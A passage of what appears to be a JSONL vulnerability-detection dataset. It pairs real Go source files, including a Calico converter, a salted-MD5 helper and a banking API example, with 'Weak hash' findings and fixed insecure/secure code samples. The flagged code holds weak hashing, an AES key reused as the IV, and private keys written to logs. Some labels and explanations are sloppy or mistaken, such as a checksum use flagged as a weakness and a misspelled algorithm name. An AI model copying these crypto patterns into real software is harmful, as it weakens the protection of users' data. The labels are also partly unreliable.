valueList))\n\t\tcase metav1.LabelSelectorOpExists:\n\t\t\tselectors = append(selectors, fmt.Sprintf(\"has(%s)\", e.Key))\n\t\tcase metav1.LabelSelectorOpDoesNotExist:\n\t\t\tselectors = append(selectors, fmt.Sprintf(\"! has(%s)\", e.Key))\n\t\t}\n\t}\n\n\treturn strings.Join(selectors, \" && \")\n}\n\nfunc (c Converter) k8sRuleToCalico(rPeers []networkingv1.NetworkPolicyPeer, rPorts []networkingv1.NetworkPolicyPort, ns string, ingress bool) ([]apiv3.Rule, error) {\n\trules := []apiv3.Rule{}\n\tpeers := []*networkingv1.NetworkPolicyPeer{}\n\tports := []*networkingv1.NetworkPolicyPort{}\n\n\t// Built up a list of the sources and a list of the destinations.\n\tfor _, f := range rPeers {\n\t\t// We need to add a copy of the peer so all the rules don't\n\t\t// point to the same location.\n\t\tpeers = append(peers, &networkingv1.NetworkPolicyPeer{\n\t\t\tNamespaceSelector: f.NamespaceSelector,\n\t\t\tPodSelector: f.PodSelector,\n\t\t\tIPBlock: f.IPBlock,\n\t\t})\n\t}\n\tfor _, p := range rPorts {\n\t\t// We need to add a copy of the port so all the rules don't\n\t\t// point to the same location.\n\t\tport := networkingv1.NetworkPolicyPort{}\n\t\tif p.Port != nil {\n\t\t\tportval := intstr.FromString(p.Port.String())\n\t\t\tport.Port = &portval\n\n\t\t\t// TCP is the implicit default (as per the definition of NetworkPolicyPort).\n\t\t\t// Make the default explicit here because our data-model always requires\n\t\t\t// the protocol to be specified if we're doing a port match.\n\t\t\tport.Protocol = &protoTCP\n\t\t}\n\t\tif p.Protocol != nil {\n\t\t\tprotval := kapiv1.Protocol(fmt.Sprintf(\"%s\", *p.Protocol))\n\t\t\tport.Protocol = &protval\n\t\t}\n\t\tports = append(ports, &port)\n\t}\n\n\t// If there no peers, or no ports, represent that as nil.\n\tif len(peers) == 0 {\n\t\tpeers = []*networkingv1.NetworkPolicyPeer{nil}\n\t}\n\tif len(ports) == 0 {\n\t\tports = []*networkingv1.NetworkPolicyPort{nil}\n\t}\n\n\t// Combine destinations with sources to generate rules.\n\t// TODO: This currently creates a lot of rules by making every combination of from / ports\n\t// into a rule. We can combine these so that we don't need as many rules!\n\tfor _, port := range ports {\n\t\tprotocol, calicoPorts, err := c.k8sPortToCalicoFields(port)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to parse k8s port: %s\", err)\n\t\t}\n\n\t\tfor _, peer := range peers {\n\t\t\tselector, nsSelector, nets, notNets := c.k8sPeerToCalicoFields(peer, ns)\n\t\t\tif ingress {\n\t\t\t\t// Build inbound rule and append to list.\n\t\t\t\trules = append(rules, apiv3.Rule{\n\t\t\t\t\tAction: \"Allow\",\n\t\t\t\t\tProtocol: protocol,\n\t\t\t\t\tSource: apiv3.EntityRule{\n\t\t\t\t\t\tSelector: selector,\n\t\t\t\t\t\tNamespaceSelector: nsSelector,\n\t\t\t\t\t\tNets: nets,\n\t\t\t\t\t\tNotNets: notNets,\n\t\t\t\t\t},\n\t\t\t\t\tDestination: apiv3.EntityRule{\n\t\t\t\t\t\tPorts: calicoPorts,\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t} else {\n\t\t\t\t// Build outbound rule and append to list.\n\t\t\t\trules = append(rules, apiv3.Rule{\n\t\t\t\t\tAction: \"Allow\",\n\t\t\t\t\tProtocol: protocol,\n\t\t\t\t\tDestination: apiv3.EntityRule{\n\t\t\t\t\t\tPorts: calicoPorts,\n\t\t\t\t\t\tSelector: selector,\n\t\t\t\t\t\tNamespaceSelector: nsSelector,\n\t\t\t\t\t\tNets: nets,\n\t\t\t\t\t\tNotNets: notNets,\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\treturn rules, nil\n}\n\nfunc (c Converter) k8sPortToCalicoFields(port *networkingv1.NetworkPolicyPort) (protocol *numorstring.Protocol, dstPorts []numorstring.Port, err error) {\n\t// If no port info, return zero values for all fields (protocol, dstPorts).\n\tif port == nil {\n\t\treturn\n\t}\n\t// Port information available.\n\tdstPorts, err = c.k8sPortToCalico(*port)\n\tif err != nil {\n\t\treturn\n\t}\n\tprotocol = c.k8sProtocolToCalico(port.Protocol)\n\treturn\n}\n\nfunc (c Converter) k8sProtocolToCalico(protocol *kapiv1.Protocol) *numorstring.Protocol {\n\tif protocol != nil {\n\t\tp := numorstring.ProtocolFromString(string(*protocol))\n\t\treturn &p\n\t}\n\treturn nil\n}\n\nfunc (c Converter) k8sPeerToCalicoFields(peer *networkingv1.NetworkPolicyPeer, ns string) (selector, nsSelector string, nets []string, notNets []string) {\n\t// If no peer, return zero values for all fields (selector, nets and !nets).\n\tif peer == nil {\n\t\treturn\n\t}\n\t// Peer information available.\n\t// Determine the source selector for the rule.\n\tif peer.IPBlock != nil {\n\t\t// Convert the CIDR to include.\n\t\t_, ipNet, err := cnet.ParseCIDR(peer.IPBlock.CIDR)\n\t\tif err != nil {\n\t\t\tlog.WithField(\"cidr\", peer.IPBlock.CIDR).WithError(err).Error(\"Failed to parse CIDR\")\n\t\t\treturn\n\t\t}\n\t\tnets = []string{ipNet.String()}\n\n\t\t// Convert the CIDRs to exclude.\n\t\tnotNets = []string{}\n\t\tfor _, exception := range peer.IPBlock.Except {\n\t\t\t_, ipNet, err = cnet.ParseCIDR(exception)\n\t\t\tif err != nil {\n\t\t\t\tlog.WithField(\"cidr\", exception).WithError(err).Error(\"Failed to parse CIDR\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\tnotNets = append(notNets, ipNet.String())\n\t\t}\n\t\t// If IPBlock is set, then PodSelector and NamespaceSelector cannot be.\n\t\treturn\n\t}\n\n\t// IPBlock is not set to get here.\n\t// Note that k8sSelectorToCalico() accepts nil values of the selector.\n\tselector = c.k8sSelectorToCalico(peer.PodSelector, SelectorPod)\n\tnsSelector = c.k8sSelectorToCalico(peer.NamespaceSelector, SelectorNamespace)\n\treturn\n}\n\nfunc (c Converter) k8sPortToCalico(port networkingv1.NetworkPolicyPort) ([]numorstring.Port, error) {\n\tvar portList []numorstring.Port\n\tif port.Port != nil {\n\t\tp, err := numorstring.PortFromString(port.Port.String())\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"invalid port %+v: %s\", port.Port, err)\n\t\t}\n\t\treturn append(portList, p), nil\n\t}\n\n\t// No ports - return empty list.\n\treturn portList, nil\n}\n\n// ProfileNameToNamespace extracts the Namespace name from the given Profile name.\nfunc (c Converter) ProfileNameToNamespace(profileName string) (string, error) {\n\t// Profile objects backed by Namespaces have form \"kns.\"\n\tif !strings.HasPrefix(profileName, NamespaceProfileNamePrefix) {\n\t\t// This is not backed by a Kubernetes Namespace.\n\t\treturn \"\", fmt.Errorf(\"Profile %s not backed by a Namespace\", profileName)\n\t}\n\n\treturn strings.TrimPrefix(profileName, NamespaceProfileNamePrefix), nil\n}\n\n// JoinNetworkPolicyRevisions constructs the revision from the individual CRD and K8s NetworkPolicy\n// revisions.\nfunc (c Converter) JoinNetworkPolicyRevisions(crdNPRev, k8sNPRev string) string {\n\treturn crdNPRev + \"/\" + k8sNPRev\n}\n\n// SplitNetworkPolicyRevision extracts the CRD and K8s NetworkPolicy revisions from the combined\n// revision returned on the KDD NetworkPolicy client.\nfunc (c Converter) SplitNetworkPolicyRevision(rev string) (crdNPRev string, k8sNPRev string, err error) {\n\tif rev == \"\" {\n\t\treturn\n\t}\n\n\trevs := strings.Split(rev, \"/\")\n\tif len(revs) != 2 {\n\t\terr = fmt.Errorf(\"ResourceVersion is not valid: %s\", rev)\n\t\treturn\n\t}\n\n\tcrdNPRev = revs[0]\n\tk8sNPRev = revs[1]\n\treturn\n}\n\n// serviceAccountNameToProfileName creates a profile name that is a join\n// of 'ksa.' + namespace + \".\" + serviceaccount name.\nfunc serviceAccountNameToProfileName(sa, namespace string) string {\n\t// Need to incorporate the namespace into the name of the sa based profile\n\t// to make them globally unique\n\tif namespace == \"\" {\n\t\tnamespace = \"default\"\n\t}\n\treturn ServiceAccountProfileNamePrefix + namespace + \".\" + sa\n}\n\n// ServiceAccountToProfile converts a ServiceAccount to a Calico Profile. The Profile stores\n// labels from the ServiceAccount which are inherited by the WorkloadEndpoints within\n// the Profile.\nfunc (c Converter) ServiceAccountToProfile(sa *kapiv1.ServiceAccount) (*model.KVPair, error) {\n\t// Generate the labels to apply to the profile, using a special prefix\n\t// to indicate that these are the labels from the parent Kubernetes ServiceAccount.\n\tlabels := map[string]string{}\n\tfor k, v := range sa.ObjectMeta.Labels {\n\t\tlabels[ServiceAccountLabelPrefix+k] = v\n\t}\n\n\tname := serviceAccountNameToProfileName(sa.Name, sa.Namespace)\n\tprofile := apiv3.NewProfile()\n\tprofile.ObjectMeta = metav1.ObjectMeta{\n\t\tName: name,\n\t\tCreationTimestamp: sa.CreationTimestamp,\n\t\tUID: sa.UID,\n\t}\n\n\t// Only set labels to apply when there are actually labels. This makes the\n\t// result of this function consistent with the struct as loaded directly\n\t// from etcd, which uses nil for the empty map.\n\tif len(labels) != 0 {\n\t\tprofile.Spec.LabelsToApply = labels\n\t} else {\n\t\tprofile.Spec.LabelsToApply = nil\n\t}\n\n\t// Embed the profile in a KVPair.\n\tkvp := model.KVPair{\n\t\tKey: model.ResourceKey{\n\t\t\tName: name,\n\t\t\tKind: apiv3.KindProfile,\n\t\t},\n\t\tValue: profile,\n\t\tRevision: c.JoinProfileRevisions(\"\", sa.ResourceVersion),\n\t}\n\treturn &kvp, nil\n}\n\n// ProfileNameToServiceAccount extracts the ServiceAccount name from the given Profile name.\nfunc (c Converter) ProfileNameToServiceAccount(profileName string) (ns, sa string, err error) {\n\n\t// Profile objects backed by ServiceAccounts have form \"ksa..\"\n\tif !strings.HasPrefix(profileName, ServiceAccountProfileNamePrefix) {\n\t\t// This is not backed by a Kubernetes ServiceAccount.\n\t\terr = fmt.Errorf(\"Profile %s not backed by a ServiceAccount\", profileName)\n\t\treturn\n\t}\n\n\tnames := strings.SplitN(profileName, \".\", 3)\n\tif len(names) != 3 {\n\t\terr = fmt.Errorf(\"Profile %s is not formatted correctly\", profileName)\n\t\treturn\n\t}\n\n\tns = names[1]\n\tsa = names[2]\n\treturn\n}\n\n// JoinProfileRevisions constructs the revision from the individual namespace and serviceaccount\n// revisions.\n// This is conditional on the feature flag for serviceaccount set or not.\nfunc (c Converter) JoinProfileRevisions(nsRev, saRev string) string {\n\treturn nsRev + \"/\" + saRev\n}\n\n// SplitProfileRevision extracts the namespace and serviceaccount revisions from the combined\n// revision returned on the KDD service account based profile.\n// This is conditional on the feature flag for serviceaccount set or not.\nfunc (c Converter) SplitProfileRevision(rev string) (nsRev string, saRev string, err error) {\n\tif rev == \"\" {\n\t\treturn\n\t}\n\n\trevs := strings.Split(rev, \"/\")\n\tif len(revs) != 2 {\n\t\terr = fmt.Errorf(\"ResourceVersion is not valid: %s\", rev)\n\t\treturn\n\t}\n\n\tnsRev = revs[0]\n\tsaRev = revs[1]\n\treturn\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 18, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "317205cb3ef5893cdec4e31221457892206654c9e081f32fb3401e8833f9bd1c", "license": {"spdx": ["Zlib"], "repo": "DeadlySurgeon/site", "path": "cmd/site/internal/hash.go", "repo_head_hexsha": "fa36afbb6c790bdfdf589309e0696eb8547fceaf", "stack_hexsha": "ee333da16ecd36975d40addf81603d046086b3e3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package internal\n\nimport (\n\t\"crypto/md5\"\n\t\"fmt\"\n)\n\n// Hash is a simple wrapper around the MD5 algorithm implementation in the\n// Go standard library. It takes in data and a salt and returns the hashed\n// representation.\nfunc Hash(data string, salt string) string {\n\toutput := md5.Sum([]byte(data + salt))\n\treturn fmt.Sprintf(\"%x\", output)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "f8b1c3806c07c615b040a4a14ad44099664c8c2f17e108b669e03745b06004bb", "license": {"spdx": ["Apache-2.0"], "repo": "rackeric/rack", "path": "commands/filescommands/objectcommands/upload_test.go", "repo_head_hexsha": "0141d25e75d8f3d1adff0dfe19f872b3bf8fb642", "stack_hexsha": "49b1c16f196ecb47846656c7b5df554967b14fa9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package objectcommands\n\nimport (\n\t\"crypto/md5\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/rackspace/rack/handler\"\n\t\"github.com/rackspace/rack/internal/github.com/codegangsta/cli\"\n\tosObjects \"github.com/rackspace/rack/internal/github.com/rackspace/gophercloud/openstack/objectstorage/v1/objects\"\n\tth \"github.com/rackspace/rack/internal/github.com/rackspace/gophercloud/testhelper\"\n\t\"github.com/rackspace/rack/internal/github.com/rackspace/gophercloud/testhelper/client\"\n\t\"github.com/rackspace/rack/output\"\n)\n\nfunc newUpCmd(fs *flag.FlagSet) *commandUpload {\n\treturn &commandUpload{Ctx: &handler.Context{\n\t\tCLIContext: cli.NewContext(cli.NewApp(), fs, nil),\n\t}}\n}\n\nfunc TestUploadContext(t *testing.T) {\n\tcmd := newUpCmd(flag.NewFlagSet(\"flags\", 1))\n\tth.AssertDeepEquals(t, cmd.Ctx, cmd.Context())\n}\n\nfunc TestUploadKeys(t *testing.T) {\n\tcmd := &commandUpload{}\n\tth.AssertDeepEquals(t, keysUpload, cmd.Keys())\n}\n\nfunc TestUploadServiceClientType(t *testing.T) {\n\tcmd := &commandUpload{}\n\tth.AssertEquals(t, serviceClientType, cmd.ServiceClientType())\n}\n\nfunc TestUploadErrWhenCtnrMissing(t *testing.T) {\n\tfs := flag.NewFlagSet(\"flags\", 1)\n\n\terr := newUpCmd(fs).HandleFlags(&handler.Resource{})\n\n\texpected := output.ErrMissingFlag{Msg: \"--container is required.\"}\n\tth.AssertDeepEquals(t, expected, err)\n}\n\nfunc TestUploadHandlePipe(t *testing.T) {\n\tcmd := &commandUpload{}\n\n\tactual := &handler.Resource{\n\t\tParams: ¶msUpload{},\n\t}\n\n\tf, err := ioutil.TempFile(\"\", \"bar\")\n\tth.AssertNoErr(t, err)\n\tdefer os.Remove(f.Name())\n\n\terr = cmd.HandlePipe(actual, f.Name())\n\tth.AssertNoErr(t, err)\n}\n\nfunc TestUploadExecute(t *testing.T) {\n\tth.SetupHTTP()\n\tdefer th.TeardownHTTP()\n\n\tth.Mux.HandleFunc(\"/foo/bar\", func(w http.ResponseWriter, r *http.Request) {\n\t\tth.TestMethod(t, r, \"PUT\")\n\t\tw.Header().Add(\"Content-Type\", \"text/plain\")\n\t\thash := md5.New()\n\t\tio.WriteString(hash, \"hodor\")\n\t\tlocalChecksum := hash.Sum(nil)\n\t\tw.Header().Set(\"ETag\", fmt.Sprintf(\"%x\", localChecksum))\n\t\tw.WriteHeader(201)\n\t\tfmt.Fprintf(w, `hodor`)\n\t})\n\n\tfs := flag.NewFlagSet(\"flags\", 1)\n\tcmd := newUpCmd(fs)\n\tcmd.Ctx.ServiceClient = client.ServiceClient()\n\n\tres := &handler.Resource{\n\t\tParams: ¶msUpload{\n\t\t\tcontainer: \"foo\",\n\t\t\tobject: \"bar\",\n\t\t\tstream: strings.NewReader(\"hodor\"),\n\t\t\topts: osObjects.CreateOpts{},\n\t\t},\n\t}\n\n\tcmd.Execute(res)\n\n\tth.AssertNoErr(t, res.Err)\n\tth.AssertEquals(t, \"Successfully uploaded object [bar] to container [foo]\\n\", res.Result)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "3e0fdc7862ea5151af5b441014ca843b94882dfa4a99ad59b36ea9be937287f9", "license": {"spdx": ["MIT"], "repo": "alphanoah/easy-func", "path": "crypto/hashmac/hash_hmac.go", "repo_head_hexsha": "ba98e9857673be9d3302c2790e3e2c738daf3714", "stack_hexsha": "3ccd0a4c5bf8c1a6398d52fc1393b72dbeb6d459", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package hashmac\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\" //nolint:gosec\n\t\"encoding/hex\"\n)\n\n// Do 使用 HMAC 方法生成带有密钥的哈希值 https://www.php.net/manual/zh/function.hash-hmac.php\nfunc Do(input, key string) string {\n\th := hmac.New(sha1.New, []byte(key))\n\th.Write([]byte(input))\n\treturn hex.EncodeToString(h.Sum(nil))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "8cf49ad6b302c38b8f7ccf2b292d09c294c00747377670672dca52699a5df583", "license": {"spdx": ["Apache-2.0"], "repo": "FIRHQ/akey-app-bank-examples", "path": "lang/go/src/akey-app-bank-examples/main.go", "repo_head_hexsha": "9a398b85410426af7bdcb39ef7a17b9c66bdcdbd", "stack_hexsha": "c508c50b6d785514d34cdc265db70e5e659321bb", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 14, "entireCode": "package main\n\nimport (\n\tpb_developer \"akey-app-bank-examples/grpc/app-bank/developer\"\n\tpb_user \"akey-app-bank-examples/grpc/app-bank/user\"\n\t//pb_tsv \"akey-app-bank-examples/grpc/tsv/tsv\"\n\t\"bytes\"\n\t\"context\"\n\t\"crypto\"\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha1\"\n\t\"crypto/x509\"\n\t\"encoding/hex\"\n\t\"encoding/pem\"\n\t\"errors\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"io/ioutil\"\n\t\"log\"\n)\n\nconst (\n\taddress_app_bank = \"open-api.akeywallet.com:80\"\n\taddress_tsv = \"open-api-2sv.akeywallet.com:80\"\n)\n\nfunc padding(src []byte,blocksize int) []byte {\n\tpadnum:=blocksize-len(src)%blocksize\n\tpad:=bytes.Repeat([]byte{byte(padnum)},padnum)\n\treturn append(src,pad...)\n}\n\nfunc unpadding(src []byte) []byte {\n\tn:=len(src)\n\tunpadnum:=int(src[n-1])\n\treturn src[:n-unpadnum]\n}\n\nfunc encryptAES(src []byte,key []byte) []byte {\n\tblock,_:=aes.NewCipher(key)\n\tsrc=padding(src,block.BlockSize())\n\tblockmode:=cipher.NewCBCEncrypter(block,key)\n\tblockmode.CryptBlocks(src,src)\n\treturn src\n}\n\nfunc decryptAES(src []byte,key []byte) []byte {\n\tblock,_:=aes.NewCipher(key)\n\tblockmode:=cipher.NewCBCDecrypter(block,key)\n\tblockmode.CryptBlocks(src,src)\n\tsrc=unpadding(src)\n\treturn src\n}\n\nfunc parsePemPrivate(src []byte) (*rsa.PrivateKey, error){\n\tblock, _ := pem.Decode(src)\n\tif block == nil {\n\t\treturn nil, errors.New(\"pem read error\")\n\t}\n\t// parse sk\n\tsk, err := x509.ParsePKCS1PrivateKey(block.Bytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}else{\n\t\treturn sk, nil\n\t}\n}\nfunc parsePemPublic(src []byte) (*rsa.PublicKey, error){\n\tblock, _ := pem.Decode(src)\n\tif block == nil {\n\t\treturn nil, errors.New(\"pem read error\")\n\t}\n\t// parse pk\n\tpk, err := x509.ParsePKIXPublicKey(block.Bytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}else{\n\t\treturn pk.(*rsa.PublicKey), nil\n\t}\n}\n\nfunc main() {\n\t// replace to your own accessKey\n\taccessKey := \"\"\n\t// read rsa string from pem file\n\tpemPrivate,err := ioutil.ReadFile(\"./conf/private.pem\")\n\tif err != nil {\n\t\tlog.Fatalf(\"rsa read error:%v\",err)\n\t}\n\tpemPublic,err := ioutil.ReadFile(\"./conf/public.pem\")\n\tif err != nil {\n\t\tlog.Fatalf(\"rsa read error:%v\",err)\n\t}\n\tsk, err := parsePemPrivate([]byte(pemPrivate))\n\tif err != nil {\n\t\tlog.Fatal(\"private key read error1:%v\" ,err)\n\t}else{\n\t\tlog.Println(sk)\n\t}\n\tpk, err := parsePemPublic([]byte(pemPublic))\n\tif err != nil {\n\t\tlog.Fatal(\"public key read error:%v\" ,err)\n\t}else{\n\t\tlog.Println(pk)\n\t}\n\t// Set up a connection to the server.\n\tconn, err := grpc.Dial(address_app_bank, grpc.WithInsecure())\n\tif err != nil {\n\t\tlog.Fatalf(\"did not connect: %v\", err)\n\t}\n\tdefer conn.Close()\n\n\tconnTsv, err := grpc.Dial(address_tsv, grpc.WithInsecure())\n\tif err != nil {\n\t\tlog.Fatalf(\"did not connect tsv: %v\", err)\n\t}\n\tdefer connTsv.Close()\n\n\tclientDeveloper := pb_developer.NewDeveloperServiceClient(conn)\n\t// init session,get access key from your web console,CtyptoType select RSA or CURVE,curve25519 is a advanced cryto method\n session, err := clientDeveloper.InitSession(context.Background(),&pb_developer.SessionRequest{AccessKey: accessKey, CryptoType: \"RSA\"})\n if err != nil{\n \tlog.Fatal(\"init session error:%v\",err)\n\t}else{\n\t\tlog.Println(\"session init finished\")\n \tlog.Println(session)\n\t}\n // save session secret key\n secretKeyBuff,err := hex.DecodeString(session.SecretKey)\n if err!= nil {\n \tlog.Fatal(\"save secret key err:%v\",err)\n\t}\n\tsecretKey,err := rsa.DecryptPKCS1v15(rand.Reader, sk, secretKeyBuff)\n\tif err!= nil {\n\t\tlog.Fatal(\"save secret key err:%v\",err)\n\t}else{\n\t\tlog.Println(\"aes key:\",hex.EncodeToString(secretKey))\n\t}\n\n // get balance from your bank, need sign protobuf\n // marshal session\n\tsessionBuff, err := proto.Marshal(session)\n\tif err != nil{\n\t\tlog.Fatal(\"get session buff error:%v\",err)\n\t}else{\n\t\tlog.Println(\"session buff:\",string(sessionBuff))\n\t}\n\t// sign session\n\thash := sha1.New()\n\thash.Write(sessionBuff)\n\tsignData, err := rsa.SignPKCS1v15(rand.Reader, sk, crypto.SHA1, hash.Sum(nil))\n\tif err != nil{\n\t\tlog.Fatal(\"get session buff error:%v\",err)\n\t}else{\n\t\tlog.Println(\"signed session:\",signData)\n\t}\n // signData to hex\n\thexSign := hex.EncodeToString(signData)\n\tlog.Println(hexSign)\n\tmd := metadata.Pairs(\"sign\", hexSign)\n\tctx := metadata.NewOutgoingContext(context.Background(), md)\n balance, err := clientDeveloper.GetBalance(ctx,session)\n if err != nil{\n\t\tlog.Fatal(\"get balance error:%v\",err)\n\t}else{\n\t\tlog.Println(balance.GetBankCurrencies())\n\t}\n // then send currency to your address\n\n // sign users to your app\n clientUser := pb_user.NewAppUserServiceClient(conn)\n\n\t// CtyptoType select RSA or CURVE\n\tappUser1, err := clientUser.SignInAppUser(context.Background(),&pb_user.AppUser{SessionId:session.SessionId,AppUserId:\"ABC5\",CryptoType:\"RSA\"})\n\tif err != nil{\n\t\tlog.Fatal(\"sign in user error:%v\",err)\n\t}else{\n\t\tlog.Println(appUser1)\n\t}\n\tappUser2, err := clientUser.SignInAppUser(context.Background(),&pb_user.AppUser{SessionId:session.SessionId,AppUserId:\"DEF5\",CryptoType:\"RSA\"})\n\tif err != nil{\n\t\tlog.Fatal(\"sign in user error:%v\",err)\n\t}else{\n\t\tlog.Println(appUser2)\n\t}\n // decrypt user's pk sk;\n/*\n user1PkSecretBuff,err := hex.DecodeString(appUser1.SecretPublicKey)\n if err != nil{\n\t log.Fatal(\"get user1 pk buff error:%v\",err)\n }\n*/\n\tuser1SkSecretBuff,err := hex.DecodeString(appUser1.SecretPrivateKey)\n\tif err != nil{\n\t\tlog.Fatal(\"get user1 sk buff error:%v\",err)\n\t}\n\n\tuser1SkBuff := decryptAES(user1SkSecretBuff,secretKey)\n\tlog.Println(\"user1 sk is:\", string(user1SkBuff))\n\t// get user1 balances\n\tuser1 := &pb_user.AppUser{SessionId:session.SessionId,AppUserId:appUser1.AppUserId,CryptoType:\"RSA\"}\n\n\t// marshal session\n\tuser1Buff, err := proto.Marshal(user1)\n\tif err != nil{\n\t\tlog.Fatal(\"get user1 buff error:%v\",err)\n\t}else{\n\t\tlog.Println(string(sessionBuff))\n\t}\n\t// sign session\n\thash_user1 := 